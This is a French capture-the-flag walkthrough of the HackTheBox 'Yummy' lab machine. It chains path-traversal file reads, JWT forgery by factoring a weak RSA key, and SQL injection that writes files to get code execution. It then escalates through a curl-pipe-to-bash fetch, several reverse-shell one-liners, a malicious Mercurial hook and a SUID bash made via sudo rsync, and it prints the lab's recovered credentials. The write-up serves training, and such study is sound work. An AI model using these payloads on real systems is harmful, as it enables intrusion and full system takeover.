- Platforme: HackTheBox
- Lien: Yummy
- Niveau: Difficile
- OS: Linux
Yummy présente une surface d’attaque relativement réduite. Une vulnérabilité de type Local File Inclusion (LFI) permet d’accéder au code source de l’application. L’examen du code révèle une faible sécurité des clés RSA pour l’authentification JWT, permettant la création de jetons avec des privilèges plus élevés.
Une énumération plus poussée du tableau de bord de l’administrateur conduit à la découverte d’une vulnérabilité d’injection SQL dans la fonction de recherche. Combinée au privilège FILE
, cette vulnérabilité nous permet d’écrire du contenu dans des fichiers sur le système, ce qui conduit à l’exécution de code à distance (RCE).
L’escalade des privilèges est réalisée à travers plusieurs pivots: l’exploitation d’un cron job, l’extraction des informations d’identification dans un fichier binaire, et l’exploitation de Mercurial (hg pull
) via des hooks. Enfin, l’accès root est obtenu en abusant des privilèges sudo sur rsync
, permettant une synchronisation de fichiers sans restriction avec des privilèges élevés.
Balayage
nmap -sC -sV -oA nmap/Yummy {TARGET_IP}
Résultats
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-19 11:42 CST
Nmap scan report for 10.129.140.209
Host is up (0.053s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_ 256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open http Caddy httpd
|_http-server-header: Caddy
|_http-title: Did not follow redirect to http://yummy.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.58 seconds
Nous découvrons deux ports ouverts:
- 22 - SSH
- 80 - http
Il y a aussi une redirection vers yummy.htb
.
sudo echo "{TARGET_IP} yummy.htb" | sudo tee -a /etc/hosts
Enumération
À http://yummy.htb/
, nous trouvons le site web d’un restaurant.
Nous pouvons créer un compte à l’adresse http://yummy.htb/register
et nous connecter à http://yummy.htb/login
. Un compte est nécessaire pour accéder à http://yummy.htb/dashboard
.
Après avoir créé et connecté notre compte, nous faisons une réservation à http://yummy.htb/#book-a-table
en utilisant le bouton BOOK A TABLE
.
La réservation doit être faite avec l’email du compte créé, sinon elle n’apparaîtra pas sur le tableau de bord.
Sur le tableau de bord de notre compte, nous voyons la réservation, nous pouvons l’annuler ou l’enregistrer dans un calendrier.
En essayant l’option SAVE iCALENDAR
, nous obtenons un fichier .ics
. Il s’agit d’un fichier texte utilisé pour stocker et partager des données de calendrier. Ils suivent la norme iCalendar (RFC 5545).
Cette fonction ne semble pas exploitable.
Vulnérabilité LFI
Nous utilisons à nouveau la même option mais interceptons la requête cette fois-ci. Après avoir transmis la première requête (/reminder
), nous obtenons une deuxième requête GET vers /export
.
Il est nécessaire de répéter le processus de réservation plusieurs fois afin de continuellement exploiter la vulnérabilité LFI.
Nous découvrons une vulnérabilité LFI en utilisant le payload /export/../../../../etc/passwd
.
Nous trouvons deux utilisateurs : dev
et qa
.
Nous essayons de progresser dans notre énumération en vérifiant des fichiers tels que /proc/self/environ
ou proc/x/cmdline
. Mais ils donnent tous les deux une erreur 500 Internal Server Error
.
Nous continuons avec le fichier /etc/crontab
.
Cron jobs découverts
Nous trouvons trois cron jobs différents sur la cible.
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
*/15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
* * * * * mysql /bin/bash /data/scripts/dbmonitor.sh
Examinons le contenu de ces scripts.
app_backup.sh
/export/../../../../data/scripts/app_backup.sh
#!/bin/bash
cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app
Ce script supprime tout fichier backupapp.zip
existant dans /var/www
et crée ensuite une nouvelle sauvegarde du répertoire /opt/app
au même endroit.
table_cleaneup.sh
/export/../../../../data/scripts/table_cleanup.sh
Nous récupérons les identifiants mysql
chef:3wDo7gSRZIwIHRxZ!
.
#!/bin/sh
/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql
Ce script se connecte à la base de données MySQL yummy_db
en utilisant l’utilisateur chef
et exécute les commandes SQL trouvées dans /data/scripts/sqlappointments.sql
.
sqlappointments.sql
Nous pouvons également vérifier les commandes SQL avec le payload /export/../../../../../data/scripts/sqlappointments.sql
.
TRUNCATE table users;
TRUNCATE table appointments;
INSERT INTO appointments (appointment_email, appointment_name, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES ("chrisjohnson@email.net", "Chris Johnson", "2024-05-25", "11:45", "2", "No allergies, prefer table by the window", "customer");
<SNIP>
INSERT INTO appointments (appointment_email, appointment_name, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES ("michaelsmith@domain.edu", "Michael Smith", "2024-11-05", "20:45", "2", "Need a socket for laptop charging", "customer");
La commande truncate
vide les tables users
et appointments
. Des données sont aussi insérées dans la table appointments
avec des détails de réservation tels que appointment_email
, appointment_name
, appointment_date
, etc.
dbmonitor.sh
/export/../../../../data/scripts/dbmonitor.sh
#!/bin/bash
timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)
if [ "$response" != 'active' ]; then
/usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
/usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
else
if [ -f /data/scripts/dbstatus.json ]; then
if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
/usr/bin/echo "The database was down at $timestamp. Sending notification."
/usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
/usr/bin/rm -f /data/scripts/dbstatus.json
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix it."
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
fi
else
/usr/bin/echo "Response is OK."
fi
fi
[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
Ce script surveille le service MySQL et effectue des actions de restauration s’il est interrompu:
- Enregistre les temps d’arrêt dans
/data/scripts/dbstatus.json
. - Envoie des notifications par email lorsque MySQL est hors service ou se rétablit.
- Exécute un script de restauration (
fixer-v*
) si MySQL s’arrête. - Supprime
dbstatus.json
lorsque MySQL est de nouveau en ligne.
Download backupapp.zip
Nous interceptons la demande obtenue après avoir utilisé la fonction SAVE iCALENDAR
, transmettons la première requête (/reminder
), modifions le payload de la deuxième requête (/export
) par l’emplacement du fichier backupapp.zip
et nous la transmettons pour télécharger le fichier.
export/../../../../var/www/backupapp.zip
Après avoir extrait backupapp.zip
, nous obtenons un répertoire opt
.
Revue du code
Nous pouvons utiliser vscode
pour faciliter l’analyse du code. Dans app/app.py
nous trouvons les mêmes credentials (chef
:3wDo7gSRZIwIHRxZ!
) et la même base de données (yummy_db
) découverts dans le script table_cleanup.sh
.
Nous trouvons également toutes les différentes routes présentes dans l’application telles que /export
, /book
, etc. /dashboard
est également présent mais nous remarquons qu’il y a une redirection vers une nouvelle route /admindashboard
si l’utilisateur authentifié est administrator
.
Le code de la route /admindashboard
mentionnée est disponible plus bas.
Nous devons donc trouver comment l’application détermine si un utilisateur est administrator
.
Elle le fait via la fonction validate_login()
dans app.py
. Elle vérifie le token de l’utilisateur et son rôle. Dans cette fonction, la fonction verify_token()
est invoquée.
Le rôle de la fonction verify_token()
dans app/middleware/verification.py
est d’authentifier et de valider le JWT (JSON Web Token). Après avoir fixé la valeur de token
à none
, elle recherche l’en-tête Cookie
dans les requêtes et lorsqu’elle la trouve, la fonction extrait la valeur du jeton. Elle recherche spécifiquement la clé X-AUTH-Token
à l’intérieur du cookie et récupère la valeur du jeton associé. Un code de statut 401
sera retourné avec le message Authentication Token is missing
si aucun jeton n’est fourni ou si la valeur du jeton ne peut pas être récupérée.
Lorsqu’un token est extrait avec succès, il est décodé avec la méthode jwt.decode
, qui utilise la clé publique du module signature
(ce module contient un script python appelé signature.py
) avec l’algorithme RS256
spécifié. Les données décodées doivent contenir le rôle de l’utilisateur (customer
ou administrator
) et un email.
Le fichier signature.py
dans app/config/
est un script utilisé pour générer une paire de clés RSA. Il utilise deux nombres premiers aléatoires q
et n
.
La sécurité RSA dépend du choix de nombres premiers aléatoires de grande taille pour p
et q
, de sorte que la factorisation de n = p * q
soit infaisable. Ici, q
est un nombre premier plus petit (~20 bits) ce qui facilite les attaques par force brute. Lorsque nous trouvons q
, p
peut être déduit puisque p = n // q
, ce qui nous permet de calculer la clé privée. A partir de là, nous pouvons signer nos propres jetons JWT et nous octroyer le rôle administrator
pour l’escalade des privilèges.
Nous allons utiliser un script python pour obtenir un jeton JWT en tant que administrator
.
from Crypto.PublicKey import RSA
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import sympy
import jwt
import base64
original_jwt = "PUT YOUR CURRENT JWT TOKEN HERE"
s = original_jwt.split(".")[1].encode()
s = base64.b64decode(s + b'=' * (-len(s) % 4)).decode()
n = int(s.split('"n":')[1].split('"')[1])
e = 65537
factors = sympy.factorint(n) # Returns a dictionary of prime factors
p, q = list(factors.keys())
phi_n = (p - 1) * (q - 1)
d = pow(e, -1, phi_n)
key = RSA.construct((n, e, d, p, q))
signing_key = key.export_key()
decoded_payload = jwt.decode(original_jwt, signing_key, algorithms=["RS256"], options={"verify_signature": False})
decoded_payload['role'] = 'administrator'
new_jwt = jwt.encode(decoded_payload, signing_key, algorithm='RS256')
print(new_jwt)
Après avoir remplacé notre X-AUTH-Token
par celui fourni par le script et rafraîchi la page, nous accédons à http://yummy.htb/admindashboard
.
La seule nouveauté est que nous avons maintenant une fonction de recherche.
Vulnérabilité injection SQL
Elle utilise le paramètre o
.
Testons-le pour l’injection SQL avec SQLmap.
sqlmap -r req.txt --batch
SQLmap identifie avec succès certains points d’injection.
Nous connaissons déjà le nom de la base de données, alors extrayons son contenu.
sqlmap -r req.txt --level=5 --risk=3 -D yummy_db --dump --batch
Deux tables sont trouvées appointments
et users
mais elles ne contiennent rien d’utile.
Nous vérifions également les privilèges de l’utilisateur actuel.
sqlmap -r req.txt --level=5 --risk=3 -D yummy_db --batch --privileges
Sous MySQL, le privilège FILE
donne à un utilisateur les permissions de lecture et d’écriture sur le système de fichiers du serveur. Dans notre cas, cela signifie que l’utilisateur chef
peut :
- Lire des fichiers: Transférer des données depuis des fichiers sur le serveur dans les tables de la base de données en utilisant
LOAD DATA INFILE
. - Écrire des fichiers: Sauvegarder les résultats des requêtes dans des fichiers en utilisant
SELECT ... INTO OUTFILE
. - Modifier des fichiers: Écrire potentiellement un contenu arbitraire dans les fichiers, en fonction des permissions du répertoire.
Nous nous rappelons que dbmonitor.sh
est exécuté en tant qu’utilisateur mysql
toutes les minutes. Dans le script, il y a une condition pour exécuter le plus récent script avec /data/scripts/fixer-v*
si dbstatus.json
existe et ne mentionne pas que mysql est down (spécifiquement la chaîne de caractères database is down
).
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix it."
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
Accès Initial (Shell en tant que mysql)
Nous pouvons donc insérer une chaîne dans dbstatus.json
pour nous assurer que le fichier existe et déclenche l’exécution du script dans /data/scripts
.
- Nous injectons une chaîne dans
/data/scripts/dbstatus.json
avecSELECT "hacked" INTO OUTFILE '/data/scripts/dbstatus.json';
. Le payload complet est le suivant:
/admindashboard?s=aa&o=ASC%3b+select+"hacked;"+INTO+OUTFILE++'/data/scripts/dbstatus.json'+%3b
- Ensuite, nous insérons une commande dans le script fixateur pour obtenir un reverse shell avec
curl IP:PORT/shell.sh | bash;
Nous aurons besoin de configurer un serveur web, la commande téléchargera notre script malveillant et l’exécutera sur la cible.
/admindashboard?s=aa&o=ASC%3b+select+"curl+{IP}:{PORT}/shell.sh+|bash%3b"+INTO+OUTFILE++'/data/scripts/fixer-v___'+%3b
FICHIER REVERSE SHELL
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc {IP} {PORT} >/tmp/f
Sur notre listener, nous recevons une connexion en tant que mysql
.
Shell en tant que www-data
Nous savons qu’il y a un autre job cron qui exécute /data/scripts/app_backup.sh
en tant que www-data
toutes les minutes. Nous pouvons donc remplacer app_backup.sh
par un fichier reverse shell pour passer à cet utilisateur.
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
mv app_backup.sh app_backup.sh.one
echo 'bash -i >& /dev/tcp/{IP}/{PORT} 0>&1' > revshell.sh
mv revshell.sh app_backup.sh
Après environ une minute, nous avons un shell sous le nom de www-data
.
Shell en tant que qa
Dans /var/www/app-qatesting
nous trouvons un répertoire caché .hg
.
Cherchons des mots de passe avec grep
.
grep -rni "password" .
grep
identifie une correspondance dans un fichier binaire, par défaut il n’affiche pas son contenu. Nous pouvons y remédier avec l’option -- text
.
grep -arni --text "password" .
Deux mots de passe sont trouvés, le premier est le mot de passe de l’utilisateur chef
. Comme nous avons affaire à un fichier binaire, nous utilisons strings
pour afficher les résultats.
strings ./store/data/app.py.i | grep -A 10 -B 5 "password"
Nous découvrons le mot de passe de l’utilisateur qa
.
qa:jPAd!XQCtn8Oc@2B
Nous nous connectons avec succès en tant que qa
avec ces informations d’identification via SSH.
Shell en tant que dev
L’utilisateur actuel qa
est capable d’exécuter /usr/bin/hg pull /home/dev/app-production/
en tant qu’utilisateur dev
.
La commande hg
est utilisée pour l’outil de gestion de contrôle de version Mercurial. La commande hg pull
est utilisée pour mettre à jour un dépôt en y intégrant les modifications d’un autre. Nous pouvons donc créer un répertoire .hg
malveillant (c’est dans ce répertoire que les dépôts Mercurial stockent leurs paramètres, comme .git
pour Git). Nous injecterons ensuite un hook malveillant afin d’exécuter notre commande reverse shell.
- Nous configurons notre dépôt malveillant
cd /tmp
mkdir .hg
chmod 777 .hg
cp ~/.hgrc .hg/hgrc
Le fichier
hgrc
est le fichier de configuration de Mercurial, il contient des paramètres tels que les chemins de dépôt et les hooks.
- Nous ajoutons notre hook malveillant dans
/tmp/.hg/hgrc
Les hooks sont utilisés pour exécuter des commandes lors d’événements spécifiques (dans notre exemple,
post-pull
s’exécutera après le téléchargement des modifications).
[hooks]
post-pull = /tmp/revshell.sh
- Ensuite, nous créons notre fichier
revshell.sh
dans le dossier/tmp
.
#!/bin/bash
/bin/bash -i >/dev/tcp/{IP}/{PORT} 0<&1 2>&1
- Enfin, nous rendons le fichier reverse shell exécutable et exécutons la commande
hg
.
chmod +x /tmp/revshell.sh
sudo -u dev /usr/bin/hg pull /home/dev/app-production/
N’oubliez pas de démarrer le listener.
Sur notre listener, nous obtenons un shell en tant que dev
et nous découvrons que cet utilisateur peut exécuter rsync
en tant que root pour synchroniser les fichiers de /home/dev/app-production
avec /opt/app
sans fournir de mot de passe.
Escalade de privilèges (Shell en tant que root)
Nous pouvons copier un binaire, lui ajouter le bit SUID et changer son propriétaire en root
afin d’escalader nos privilèges et d’obtenir un shell root.
cd /home/dev/
cp /bin/bash app-production/bash
chmod u+s app-production/bash
sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/
/opt/app/bash -p
Ressources additionnelles
J’espère que cet article vous a été utile et je vous remercie d’avoir pris le temps de le lire !
Voici quelques ressources pour en apprendre davantage sur les concepts de cette box:
- Public Key Cryptography Basics sur TryHackme.
- Breaking RSA sur TryHackme.
- JWT Security sur TryHackme.
- JWT Attacks sur PortSwigger Academy.
- SQL Injection Fundamentals et SQLMap Essentials sur HackTheBox Academy.